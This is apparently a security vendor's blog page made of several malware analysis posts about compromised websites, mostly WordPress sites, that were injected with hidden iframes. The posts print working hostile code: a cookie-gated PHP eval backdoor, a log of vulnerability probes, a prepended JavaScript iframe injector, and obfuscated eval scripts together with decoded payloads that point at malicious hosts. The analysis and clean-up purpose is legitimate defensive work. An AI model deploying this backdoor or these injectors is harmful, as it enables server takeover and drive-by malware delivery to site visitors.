Showing posts sorted by date for query hidden iframes. Sort by relevance Show all posts
Showing posts sorted by date for query hidden iframes. Sort by relevance Show all posts

Tuesday, April 19, 2016

RedKit Malware Still Alive

RedKit Malware Still Alive

RedKit as detected by Online Malware Scanner


Background

Back in 2013, we posted about RedKit infecting significant number of websites. It appears that, three years later, the statistics of the websites submitted to online malware scanner show the revive of this malware among infected websites. 

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Malware entry

<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=hxxp://brg-catalogues[.]com/mzcf.html?j=1886263>

The URL in src of the iframe hosts another ~15 similar HTML pages (mzcf.html) leading to drive-by-download attack. Both domains are not flagged by Google, meaning that they have not yet been blacklisted:




Malware clean-up

Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware, Quttera experts are always happy to clean it for you - Malware Monitoring & Cleanup Plans For Websites




Sunday, November 23, 2014

Backdoor Malware Targeting WordPress Websites

Backdoor Malware In The Wild Targeting WordPress Websites



If your website gets reinfected every 20-30 minutes. If blacklisting authorities like Google Safe Browsing does not keep up with the reinfection and fail to inform you. If you run WordPress platform and use 3-d party plugins/themes.

Then, it is likely you suffer from Backdoor that our malware research labs have recently discovered while cleaning customer websites.

You can check your site with our external and free scan using Quttera Free Website Malware Scanner


Background of the infection


How many websites attacked?


There is no exact number but more than two thousands. During first weeks of this infection Google didn't recognize it. The malware code included logic to clean-up previous infection and insert a new one.

Which platforms were targeted?


Current version mostly aimed WordPress installations.


What malicious action was applied to victim sites and their visitors?


Successful attack injected hidden iframes into every JavaScript file. On home page load, visitor's web browser loaded numerous JS files and got connected in background to several other websites via iframes.


How many files were infected?


All JavaScript files available on attacked server.


Where the files were located?


All infected files located in wp-content and wp-include directories.


The root cause


How backdoor was identified?


One of our customers was blacklisted by Google due to another kind of infection. During the investigation current malware was uncovered as well. At the same time, we detected this infection on websites of our other customers, which bypassed Google's and other's radars.


Backdoor details


A backdoor (or just shell file) was uploaded utilizing themes/plugins vulnerabilities. Following is an example of how attacker searched for available vulnerability using HTTP HEAD request:

"HEAD /fckeditor/editor/filemanager/connectors/aspx/upload.aspx HTTP/1.1" 404 "HEAD /fckeditor/editor/filemanager/connectors/asp/upload.asp HTTP/1.1" 404 299 "-" "-" "HEAD /fckeditor/editor/filemanager/connectors/php/upload.php HTTP/1.1" 404 299 "-" "-" "HEAD /fckeditor/editor/filemanager/upload/aspx/upload.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /fckeditor/editor/filemanager/upload/asp/upload.asp HTTP/1.1" 404 299 "-" "-" "HEAD /fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.1" 404 299 "-" "-" "HEAD /fckeditor/editor/filemanager/connectors/aspx/connector.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /fckeditor/editor/filemanager/connectors/asp/connector.asp HTTP/1.1" 404 318 "-" "-" "HEAD /fckeditor/editor/filemanager/connectors/php/connector.php HTTP/1.1" 404 299 "-" "-" "HEAD /fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp HTTP/1.1" 404 299 "-" "-" "HEAD /fckeditor/editor/filemanager/browser/default/connectors/php/connector.php HTTP/1.1" 404 299 "-" "-" "HEAD /fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/connectors/aspx/upload.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/connectors/asp/upload.asp HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/connectors/php/upload.php HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/upload/aspx/upload.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/upload/asp/upload.asp HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.1" 404 318 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/connectors/aspx/connector.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/connectors/asp/connector.asp HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/connectors/php/connector.php HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/connectors/aspx/connector.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/connectors/asp/connector.asp HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/connectors/php/connector.php HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/connectors/aspx/upload.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/connectors/asp/upload.asp HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/connectors/php/upload.php HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/upload/aspx/upload.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/upload/asp/upload.asp HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.1" 404 299 "-" "-" "HEAD /ckeditor/ckfinder/core/connector/asp/connector.asp HTTP/1.1" 404 299 "-" "-" "HEAD /ckeditor/ckfinder/core/connector/php/connector.php HTTP/1.1" 404 299 "-" "-" "HEAD /ckeditor/ckfinder/core/connector/aspx/connector.aspx HTTP/1.1" 404 318 "-" "-" "HEAD /kcfinder/browse.php HTTP/1.1" 404 299 "-" "-"


All of those were attempts to find a way to upload the following backdoor which is then used to infect the server:

<?php if(!empty($_COOKIE['__mestore']) and substr($_COOKIE['__mestore'],0,16)=='3469825000034634'){if (!empty($_POST['message']) and $message=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['message']))))){echo '<textarea id=areatext>';eval($message);echo '</textarea>bg';exit;}} exit;


The backdoor decoded content of the "message" field provided in HTTP post request,

$message=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['message'])))))


executed provided commands,

eval($message)

and printed script output into returned HTML,

{echo '<textarea id=areatext>';eval($message);echo '</textarea>bg';exit;}} exit;

The script is generic and it permites execution of any PHP code provided in "message" argument.

Finally, the target of this backdoor/shell was to execute and input script which then infected all JS files on the compromised system.

The actual infection is a header, prepended  to every JS file:

/* Copyright (C) 2007 Free Software Foundation, Inc. http://fsf.org/ */ function getCookie(b){var a=document.cookie.match(new RegExp("(?:^|; )"+b.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,'\\$1')+"=([^;]*) "));return a?decodeURIComponent(a[1]):undefined}(function(){function e(b,a,c){var f=(b+'').toLowerCase();var g=(a+'').toLowerCase( );var d=0;if((d=f.indexOf(g,c))!==-1){return d}return false}function h(){var b=['bots','AppleWebKit','Windows NT 6.3','X11','Phone ','Google'];var a=false;for(var c in b){if(e(navigator.userAgent,b[c])){a=true;break}}return a}var i=(getCookie("akelbriston19ure" )===undefined);if(!h()&&i){document.write('<iframe width="112" height="132" style="position:absolute;margin-top:-1002px;" src="http://iframehost/something17.html"></iframe>');var j=new Date(new Date().getTime()+48*60*60*1000);document.cookie="akelbriston19ure=1; path=/; expires="+j.toUTCString()}})(); /* Copyright (C) 2000 Free Software Foundation, Inc. See LICENSE.txt */


Attack flow


So how this worked?

  1. Server A searched the web for WordPress installations with known vulnerabilities.
  2. Backdoor/Shell uploaded to servers detected in step (1).
  3. Server B invokes the shell with a PHP code that performs JS files infection.
  4. Re-infection occurs every 20-30 minutes.


Malware clean-up


As a first step, we have identified the organization that owned the IP. We have then contacted the hosting provider and filed malware/abuse report.

We have conducted all necessary steps to clean up the 3K+ infected files, updated all outdated software and remode vulnerable plugins.

If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.

Thursday, May 8, 2014

PHP Code Injecting JavaScript Malware To Redirect To Pharma Sites

How Couple Of Compromised Servers Are Used For BlackHat Pharma SEO

Our malware analysts have recently finished cleaning up hacked site of a ThreatSign (anti-malware service) customer. We decided it worth a post to help others in malware research and prevention.

Malware execution diagram


We were contacted by webmaster whose site was blacklisted by Google. In addition to blacklisting status, external scan for malware showed numerous hidden iframes in the scanned html file(s).

After manual investigation of the files on site.cc (we can't provide real name of the customer site), it appeared that all index.php files were infected by php malware. Upon access to this server the malicious php code made request to another server:
__url_get_contents(http://hacked-server-url/_vti_bin/tky4df82.php, 1);
The output of this call was a portion of JavaScript where src attribute had visitor's IP (id=XXXXX) as appended parameter:
<script type="text/javascript" src="'returned-url'?id=XXXXX"></script>
Digging further, on the server to which the call was made. It appeared to be hosting proxy php module at /_vti_bin/tky4df82.php . The JavaScript, it finally served to our customer's (and most probably many others), generated those hidden iframes to pharmaceutical sites. It even had localization settings, so that you will get the site with the language according to your IP geo location.

Full php code was uploaded to pastebin, in case you encounter similar issue:  http://pastebin.com/ThYzmrfv

Malware clean-up


Uncovering online threats and hidden malware is easy and effective with Online Malware Scanner. However, if you suspect that your website was infected, select from Malware Removal & Monitoring Plans for malware removal.

Alternatively, you can try to remove malware using Quttera's website scan report. Don't forget to submit your website(s) for re-testing and removing from blacklist if needed.

Thursday, November 28, 2013

Threat Code Mixed With Google Analytics Redirects Visitors To Malware Distributor

Obfuscated malicious JavaScript code combined with GA code


Background


Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Obfuscated JavaScript comes right after the valid GA code and placed in index.html. 

One might assume that the GA code was embedded by attacker as well to monitor his success. However, this might be a simple coincidence. Interestingly, the website is in Google blacklist database. Below you will find payload analysis and threat dump. 

For public databases of site scan reports:

For global web malware monitoring statistic and severity levels:

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Thu Nov 28 14:18:42 2013
Infected website's files: 1
Website malware scan report link: http://goo.gl/S4oz7N

Uncovering web threats
Online Website Malware Scanner sitescan overview

Malware entry

Beautified script

<script>varwsqWQBPps="cNRoPJdqz3ccNRoPJdqz69cNRoPJdqz66cNRoPJdqz72cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz65cNRoPJdqz20cNRoPJdqz73cNRoPJdqz72cNRoPJdqz63cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz68cNRoPJdqz74cNRoPJdqz74cNRoPJdqz70cNRoPJdqz3acNRoPJdqz2fcNRoPJdqz2fcNRoPJdqz70cNRoPJdqz72cNRoPJdqz69cNRoPJdqz76cNRoPJdqz61cNRoPJdqz74cNRoPJdqz65cNRoPJdqz33cNRoPJdqz2ecNRoPJdqz7acNRoPJdqz61cNRoPJdqz70cNRoPJdqz74cNRoPJdqz6fcNRoPJdqz2ecNRoPJdqz6fcNRoPJdqz72cNRoPJdqz67cNRoPJdqz2fcNRoPJdqz62cNRoPJdqz6ccNRoPJdqz6fcNRoPJdqz67cNRoPJdqz2fcNRoPJdqz76cNRoPJdqz6ccNRoPJdqz71cNRoPJdqz73cNRoPJdqz72cNRoPJdqz79cNRoPJdqz79cNRoPJdqz61cNRoPJdqz63cNRoPJdqz72cNRoPJdqz2ecNRoPJdqz70cNRoPJdqz68cNRoPJdqz70cNRoPJdqz3fcNRoPJdqz76cNRoPJdqz61cNRoPJdqz6fcNRoPJdqz77cNRoPJdqz76cNRoPJdqz3dcNRoPJdqz4ecNRoPJdqz48cNRoPJdqz63cNRoPJdqz43cNRoPJdqz71cNRoPJdqz55cNRoPJdqz46cNRoPJdqz53cNRoPJdqz26cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz70cNRoPJdqz3bcNRoPJdqz68cNRoPJdqz72cNRoPJdqz79cNRoPJdqz74cNRoPJdqz65cNRoPJdqz77cNRoPJdqz73cNRoPJdqz66cNRoPJdqz64cNRoPJdqz3dcNRoPJdqz39cNRoPJdqz38cNRoPJdqz38cNRoPJdqz39cNRoPJdqz34cNRoPJdqz33cNRoPJdqz39cNRoPJdqz26cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz70cNRoPJdqz3bcNRoPJdqz79cNRoPJdqz6acNRoPJdqz72cNRoPJdqz65cNRoPJdqz73cNRoPJdqz66cNRoPJdqz64cNRoPJdqz3dcNRoPJdqz38cNRoPJdqz35cNRoPJdqz34cNRoPJdqz22cNRoPJdqz20cNRoPJdqz6ecNRoPJdqz61cNRoPJdqz6dcNRoPJdqz65cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz79cNRoPJdqz66cNRoPJdqz65cNRoPJdqz6acNRoPJdqz43cNRoPJdqz50cNRoPJdqz43cNRoPJdqz7acNRoPJdqz62cNRoPJdqz41cNRoPJdqz22cNRoPJdqz20cNRoPJdqz74cNRoPJdqz69cNRoPJdqz74cNRoPJdqz6ccNRoPJdqz65cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz4ecNRoPJdqz65cNRoPJdqz73cNRoPJdqz58cNRoPJdqz6fcNRoPJdqz59cNRoPJdqz47cNRoPJdqz54cNRoPJdqz42cNRoPJdqz7acNRoPJdqz22cNRoPJdqz20cNRoPJdqz77cNRoPJdqz69cNRoPJdqz64cNRoPJdqz74cNRoPJdqz68cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz30cNRoPJdqz22cNRoPJdqz20cNRoPJdqz68cNRoPJdqz65cNRoPJdqz69cNRoPJdqz67cNRoPJdqz68cNRoPJdqz74cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz30cNRoPJdqz22cNRoPJdqz20cNRoPJdqz66cNRoPJdqz72cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz65cNRoPJdqz62cNRoPJdqz6fcNRoPJdqz72cNRoPJdqz64cNRoPJdqz65cNRoPJdqz72cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz30cNRoPJdqz22cNRoPJdqz3ecNRoPJdqz3ccNRoPJdqz2fcNRoPJdqz69cNRoPJdqz66cNRoPJdqz72cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz65cNRoPJdqz3e";yvDFQwwmM=eval;varWSxQJgvuB=wsqWQBPps.replace(/cNRoPJdqz/g,"%");]]


Malicious payload

Decoded payload generates hidden iframe to http://private3[.]zapto[.]org/blog/vlqsryyacr.php?vaowv=NHcCqUFS&amp;hrytewsfd=9889439&amp;yjresfd=854

Payload:
<iframe src="http://private3[.]zapto[.]org/blog/vlqsryyacr.php?vaowv=NHcCqUFS&amp;hrytewsfd=9889439&amp;yjresfd=854" name="yfejCPCzbA" title="NesXoYGTBz" width="0" height="0" frameborder="0"></iframe>

Blacklisting status


The website is Suspicious on Google Safe Browsing.

VirusTotal URL scan reports 8/51 antivirus and malware detection engines identified the redirect IP as malicious site.

VirusTotal URL scan report screenshot


Malware clean-up

Uncovering online threats and hidden malware is easy and effective with Online Malware Scanner. However, if you suspect that your website was infected, use Website Anti-malware Monitoring for malware removal.

Alternatively, you can try to remove malware using Quttera's website scan report. You will then need to submit your website(s) for re-testing and removing from blacklist.

Monday, November 18, 2013

JavaScript Malware In Website Injecting Malicious Iframes

Compromised website infected with malicious JavaScript

Malicious JavaScript in website pages

Background

Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Obfuscated JavaScript malware injects malicious iframes into the website page(s). Having styling attributes crafted in such a way to be invisible to website visitors, they download content in the background from remote malware distributor.

Similar to discussed in other posts about malicious iframes in websites, this malware is obfuscated and in addition uses cookie bomb technique to evade Anti-Viruses and other detection mechanisms.

Public databases of site scan reports for:
Clean domains
Potentially Suspicious domains
Suspicious domains
Malicious domains

For global web malware monitoring statistic and severity levels:
Last day
Last week
Last month

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Malware entry details

Obfuscated execution of JavaScript "eval" function.

Beautified script


  1. try {
  2.     + function () {
  3.         if (document.querySelector)++(window[vz].body) == null
  4.     }()
  5. } catch (q) {
  6.     aa = function (ff) {
  7.         ff = "fr" + "omCh" + ff;
  8.         for (i = 0; i < z.length; i++) {
  9.             za += String[ff](e(v + (z[i])) - (13));
  10.         }
  11.     };
  12. };
  13. e = (eval);
  14. v = "0x";
  15. a = 0;
  16. try {;
  17. } catch (zz) {
  18.     a = 1
  19. }
  20. if (!a) {
  21.     try {
  22.         ++e(vz)["\x62o" + "d" + z]
  23.     } catch (q) {
  24.         a2 = "^";
  25.     }
  26.     z ="2d^73^82^7b^70^81^76^7c^7b^2d^7f^7d^3d^46^35^36^2d^88^1a^17^2d^83^6e^7f^2d^80^81^6e^81^76^70^4a^34^6e^77^6e^85^34^48^1a^17^2d^83^6e^7f^2d^70^7c^7b^81^7f^7c^79^79^72^7f^4a^34^76^7b^71^72^85^3b^7d^75^7d^34^48^1a^17^2d^83^6e^7f^2d^7f^7d^2d^4a^2d^71^7c^70^82^7a^72^7b^81^3b^70^7f^72^6e^81^72^52^79^72^7a^72^7b^81^35^34^76^73^7f^6e^7a^72^34^36^48^1a^17^1a^17^2d^7f^7d^3b^80^7f^70^2d^4a^2d^34^75^81^81^7d^47^3c^3c^7a^6e^7b^74^7c^79^3b^70^7c^3b^82^78^3c^70^79^6e^80^80^3c^44^57^5e^45^81^5f^58^59^3b^7d^75^7d^34^48^1a^17^2d^7f^7d^3b^80^81^86^79^72^3b^7d^7c^80^76^81^76^7c^7b^2d^4a^2d^34^6e^6f^80^7c^79^82^81^72^34^48^1a^17^2d^7f^7d^3b^80^81^86^79^72^3b^70^7c^79^7c^7f^2d^4a^2d^34^3d^45^43^45^34^48^1a^17^2d^7f^7d^3b^80^81^86^79^72^3b^75^72^76^74^75^81^2d^4a^2d^34^3d^45^43^45^7d^85^34^48^1a^17^2d^7f^7d^3b^80^81^86^79^72^3b^84^76^71^81^75^2d^4a^2d^34^3d^45^43^45^7d^85^34^48^1a^17^2d^7f^7d^3b^80^81^86^79^72^3b^79^72^73^81^2d^4a^2d^34^3e^3d^3d^3d^3d^45^43^45^34^48^1a^17^2d^7f^7d^3b^80^81^86^79^72^3b^81^7c^7d^2d^4a^2d^34^3e^3d^3d^3d^3d^45^43^45^34^48^1a^17^1a^17^2d^76^73^2d^35^2e^71^7c^70^82^7a^72^7b^81^3b^74^72^81^52^79^72^7a^72^7b^81^4f^86^56^71^35^34^7f^7d^34^36^36^2d^88^1a^17^2d^71^7c^70^82^7a^72^7b^81^3b^84^7f^76^81^72^35^34^49^7d^2d^76^71^4a^69^34^7f^7d^69^34^2d^70^79^6e^80^80^4a^69^34^7f^7d^3d^46^69^34^2d^4b^49^3c^7d^4b^34^36^48^1a^17^2d^71^7c^70^82^7a^72^7b^81^3b^74^72^81^52^79^72^7a^72^7b^81^4f^86^56^71^35^34^7f^7d^34^36^3b^6e^7d^7d^72^7b^71^50^75^76^79^71^35^7f^7d^36^48^1a^17^2d^8a^1a^17^8a^1a^17^73^82^7b^70^81^76^7c^7b^2d^60^72^81^50^7c^7c^78^76^72^35^70^7c^7c^78^76^72^5b^6e^7a^72^39^70^7c^7c^78^76^72^63^6e^79^82^72^39^7b^51^6e^86^80^39^7d^6e^81^75^36^2d^88^1a^17^2d^83^6e^7f^2d^81^7c^71^6e^86^2d^4a^2d^7b^72^84^2d^51^6e^81^72^35^36^48^1a^17^2d^83^6e^7f^2d^72^85^7d^76^7f^72^2d^4a^2d^7b^72^84^2d^51^6e^81^72^35^36^48^1a^17^2d^76^73^2d^35^7b^51^6e^86^80^4a^4a^7b^82^79^79^2d^89^89^2d^7b^51^6e^86^80^4a^4a^3d^36^2d^7b^51^6e^86^80^4a^3e^48^1a^17^2d^72^85^7d^76^7f^72^3b^80^72^81^61^76^7a^72^35^81^7c^71^6e^86^3b^74^72^81^61^76^7a^72^35^36^2d^38^2d^40^43^3d^3d^3d^3d^3d^37^3f^41^37^7b^51^6e^86^80^36^48^1a^17^2d^71^7c^70^82^7a^72^7b^81^3b^70^7c^7c^78^76^72^2d^4a^2d^70^7c^7c^78^76^72^5b^6e^7a^72^38^2f^4a^2f^38^72^80^70^6e^7d^72^35^70^7c^7c^78^76^72^63^6e^79^82^72^36^1a^17^2d^38^2d^2f^48^72^85^7d^76^7f^72^80^4a^2f^2d^38^2d^72^85^7d^76^7f^72^3b^81^7c^54^5a^61^60^81^7f^76^7b^74^35^36^2d^38^2d^35^35^7d^6e^81^75^36^2d^4c^2d^2f^48^2d^7d^6e^81^75^4a^2f^2d^38^2d^7d^6e^81^75^2d^47^2d^2f^2f^36^48^1a^17^8a^1a^17^73^82^7b^70^81^76^7c^7b^2d^54^72^81^50^7c^7c^78^76^72^35^2d^7b^6e^7a^72^2d^36^2d^88^1a^17^2d^83^6e^7f^2d^80^81^6e^7f^81^2d^4a^2d^71^7c^70^82^7a^72^7b^81^3b^70^7c^7c^78^76^72^3b^76^7b^71^72^85^5c^73^35^2d^7b^6e^7a^72^2d^38^2d^2f^4a^2f^2d^36^48^1a^17^2d^83^6e^7f^2d^79^72^7b^2d^4a^2d^80^81^6e^7f^81^2d^38^2d^7b^6e^7a^72^3b^79^72^7b^74^81^75^2d^38^2d^3e^48^1a^17^2d^76^73^2d^35^2d^35^2d^2e^80^81^6e^7f^81^2d^36^2d^33^33^1a^17^2d^35^2d^7b^6e^7a^72^2d^2e^4a^2d^71^7c^70^82^7a^72^7b^81^3b^70^7c^7c^78^76^72^3b^80^82^6f^80^81^7f^76^7b^74^35^2d^3d^39^2d^7b^6e^7a^72^3b^79^72^7b^74^81^75^2d^36^2d^36^2d^36^1a^17^2d^88^1a^17^2d^7f^72^81^82^7f^7b^2d^7b^82^79^79^48^1a^17^2d^8a^1a^17^2d^76^73^2d^35^2d^80^81^6e^7f^81^2d^4a^4a^2d^3a^3e^2d^36^2d^7f^72^81^82^7f^7b^2d^7b^82^79^79^48^1a^17^2d^83^6e^7f^2d^72^7b^71^2d^4a^2d^71^7c^70^82^7a^72^7b^81^3b^70^7c^7c^78^76^72^3b^76^7b^71^72^85^5c^73^35^2d^2f^48^2f^39^2d^79^72^7b^2d^36^48^1a^17^2d^76^73^2d^35^2d^72^7b^71^2d^4a^4a^2d^3a^3e^2d^36^2d^72^7b^71^2d^4a^2d^71^7c^70^82^7a^72^7b^81^3b^70^7c^7c^78^76^72^3b^79^72^7b^74^81^75^48^1a^17^2d^7f^72^81^82^7f^7b^2d^82^7b^72^80^70^6e^7d^72^35^2d^71^7c^70^82^7a^72^7b^81^3b^70^7c^7c^78^76^72^3b^80^82^6f^80^81^7f^76^7b^74^35^2d^79^72^7b^39^2d^72^7b^71^2d^36^2d^36^48^1a^17^8a^1a^17^76^73^2d^35^7b^6e^83^76^74^6e^81^7c^7f^3b^70^7c^7c^78^76^72^52^7b^6e^6f^79^72^71^36^1a^17^88^1a^17^76^73^35^54^72^81^50^7c^7c^78^76^72^35^34^83^76^80^76^81^72^71^6c^82^7e^34^36^4a^4a^42^42^36^88^8a^72^79^80^72^88^60^72^81^50^7c^7c^78^76^72^35^34^83^76^80^76^81^72^71^6c^82^7e^34^39^2d^34^42^42^34^39^2d^34^3e^34^39^2d^34^3c^34^36^48^1a^17^1a^17^7f^7d^3d^46^35^36^48^1a^17^8a^1a^17^8a".split(a2);
  27.     za = "";
  28.     aa("arCode");
  29.     e("" + za);
  30. }


Malicious payload


Decoded payload generates hidden iframe to hxxp://mangol.co.uk


  1. function rp09() {
  2.  
  3.     var static = 'ajax';
  4.  
  5.     var controller = 'index.php';
  6.  
  7.     var rp = document.createElement('iframe');
  8.  
  9.  
  10.  
  11.     rp.src = 'http://mangol.co.uk/class/7JQ8tRKL.php';
  12.  
  13.     rp.style.position = 'absolute';
  14.  
  15.     rp.style.color = '0868';
  16.  
  17.     rp.style.height = '0868px';
  18.  
  19.     rp.style.width = '0868px';
  20.  
  21.     rp.style.left = '10000868';
  22.  
  23.     rp.style.top = '10000868';
  24.  
  25.  
  26.  
  27.     if (!document.getElementById('rp')) {
  28.  
  29.         document.write('<p id=\'rp\' class=\'rp09\' ></p>');
  30.  
  31.         document.getElementById('rp').appendChild(rp);
  32.  
  33.     }
  34.  
  35. }
  36.  
  37. function SetCookie(cookieName, cookieValue, nDays, path) {
  38.  
  39.     var today = new Date();
  40.  
  41.     var expire = new Date();
  42.  
  43.     if (nDays == null || nDays == 0) nDays = 1;
  44.  
  45.     expire.setTime(today.getTime() + 3600000 * 24 * nDays);
  46.  
  47.     document.cookie = cookieName + "=" + escape(cookieValue)
  48.  
  49.     + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
  50.  
  51. }
  52.  
  53. function GetCookie(name) {
  54.  
  55.     var start = document.cookie.indexOf(name + "=");
  56.  
  57.     var len = start + name.length + 1;
  58.  
  59.     if ((!start) &&
  60.  
  61.         (name != document.cookie.substring(0, name.length)))
  62.  
  63.     {
  64.  
  65.         return null;
  66.  
  67.     }
  68.  
  69.     if (start == -1) return null;
  70.  
  71.     var end = document.cookie.indexOf(";", len);
  72.  
  73.     if (end == -1) end = document.cookie.length;
  74.  
  75.     return unescape(document.cookie.substring(len, end));
  76.  
  77. }
  78.  
  79. if (navigator.cookieEnabled)
  80.  
  81. {
  82.  
  83.     if (GetCookie('visited_uq') == 55) {} else {
  84.         SetCookie('visited_uq', '55', '1', '/');
  85.  
  86.  
  87.  
  88.         rp09();
  89.  
  90.     }
  91.  
  92. }*/


Blacklisting status

The URL is detected by 3/51 Anti-Virus engines in VirusTotal and noted as being infecting several domains through software vulnerability exploits.


VirusTotal report


Malware clean-up

Being blacklisted, usually, means your website was compromised and detected actively distributed malware or acting as an intermediate in malicious chain. If you suspect that your website was infected, use Website Anti-malware Monitoring for malware removal.

Alternatively, you can try to remove malware using Quttera's website scan report. You will then need to submit your website(s) for re-testing and removing from blacklist.